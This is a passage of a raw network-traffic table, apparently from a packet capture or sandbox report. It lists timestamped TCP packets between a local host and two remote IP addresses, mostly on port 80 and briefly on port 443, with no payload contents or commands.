Nov 22, 2024 17:09:14.362646103 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.362673044 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.362741947 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.363368988 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.363384008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.363425016 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.363442898 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.364125013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.364233017 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.364300013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.364983082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.365046024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.365062952 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.365166903 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.365814924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.365999937 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.366070032 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.366714001 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.366801977 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.366854906 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.367579937 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.367635965 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.367649078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.367702007 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.368428946 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.368489027 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.368535042 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.368573904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.369263887 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.369487047 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.525732040 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.525764942 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.525831938 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.525950909 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.526091099 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.526149035 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.526820898 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.526925087 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.527139902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.527229071 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.527335882 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.527335882 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.528017998 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.528068066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.528147936 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.528192997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.528879881 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.528938055 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.529025078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.529068947 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.529824018 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.529967070 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.530014992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.530699968 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.530740976 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.530781031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.530821085 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.531500101 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.531564951 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.531608105 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.531646013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.532370090 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.532426119 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.532550097 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.532613993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.533233881 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.533277988 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.533335924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.533432961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.534101009 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.534147024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.534265041 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.534363031 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.535027981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.535262108 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.535321951 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.535891056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.536003113 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.536035061 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.536052942 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.536716938 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.536777020 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.536876917 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.537019968 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.537664890 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.537713051 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.538156033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.538295031 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.538556099 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.538616896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.538654089 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.538786888 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.539364100 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.539510012 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.539566994 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.540245056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.540322065 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.540359974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.540424109 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.541085005 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.541203976 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.541205883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.541244984 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.542083025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.542130947 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.542203903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.542275906 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.542828083 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.542853117 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.542870998 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.542973995 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.543668985 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.543714046 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.543783903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.543829918 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.544490099 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.544537067 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.544625998 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.544672012 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.545419931 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.545463085 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.545536041 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.545579910 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.546289921 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.546336889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.546411991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.546468019 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.547087908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.547172070 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.547208071 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.547251940 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.548093081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.548136950 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.548269987 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.548316002 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.548919916 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.548966885 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.549091101 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.549139023 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.549746990 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.549794912 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.549949884 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.549997091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.550606012 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.550689936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.550734043 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.550801992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.551513910 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.551561117 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.551650047 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.551928997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.552388906 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.552436113 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.552478075 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.552516937 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.553241014 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.553359032 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.553410053 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.554064035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.554116011 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.554157019 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.554291964 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.554907084 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.554949999 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.555027008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.555073977 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.555824041 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.555876970 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.555932045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.555967093 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.556658983 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.556731939 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.556771040 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.557003975 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.557547092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.557600021 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.557678938 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.557749033 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.558398008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.558504105 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.558523893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.558542967 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.559302092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.559386015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.559413910 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.559451103 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.560215950 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.560264111 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.560344934 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.560384989 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.561006069 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.561135054 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.561167002 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.561237097 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.561903000 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.561959028 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.562339067 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.562386990 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.562757969 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.562812090 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.562891006 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.562927008 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.563921928 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.564042091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.564050913 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.564096928 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.564471960 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.564522028 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.564588070 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.564639091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.565386057 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.565459967 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.565464973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.565552950 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.566222906 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.566273928 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.566317081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.566351891 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.567071915 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.567137003 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.567161083 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.567250013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.567965984 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.568016052 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.568052053 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.568105936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.568818092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.568873882 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.568897963 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.568933010 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.569669962 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.569762945 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.569811106 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.569845915 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.570584059 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.570652008 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.570662975 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.570732117 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.714092016 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:14.714438915 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:14.714469910 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:14.715523958 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:14.715598106 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:14.715928078 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:14.715990067 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:14.716114998 CET	49830	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:14.716121912 CET	443	49830	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:14.728257895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.728352070 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.728353977 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.728393078 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.728631020 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.728694916 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.728702068 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.728784084 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.729516029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.729574919 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.729581118 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.729792118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.730376005 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.730422974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.730423927 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.730465889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.731409073 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.731472015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.731509924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.731549025 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.732112885 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.732161045 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.732183933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.732230902 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.732986927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.733036041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.733081102 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.733150959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.733948946 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.733997107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.734066010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.734113932 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.734704971 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.734776020 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.734848976 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.734901905 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.735593081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.735630035 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.735661983 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.735683918 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.736484051 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.736531019 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.736574888 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.736618996 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.737318039 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.737457991 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.737483978 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.737504005 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.738200903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.738250017 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.738532066 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.738576889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.739078045 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.739121914 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.739187002 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.739227057 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.739906073 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.739953041 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.740293026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.740494013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.740808010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.740856886 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.740890026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.740957022 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.741688013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.741746902 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.741754055 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.741797924 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.742518902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.742564917 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.742599010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.742633104 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.743395090 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.743438959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.743479013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.743519068 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.744251013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.744307995 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.744348049 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.744400024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.745158911 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.745204926 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.745213032 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.745284081 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.746000051 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.746082067 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.746140957 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.746906042 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.746954918 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.747034073 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.747086048 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.747730970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.747778893 CET	49828	80	192.168.2.10	185.215.113.16
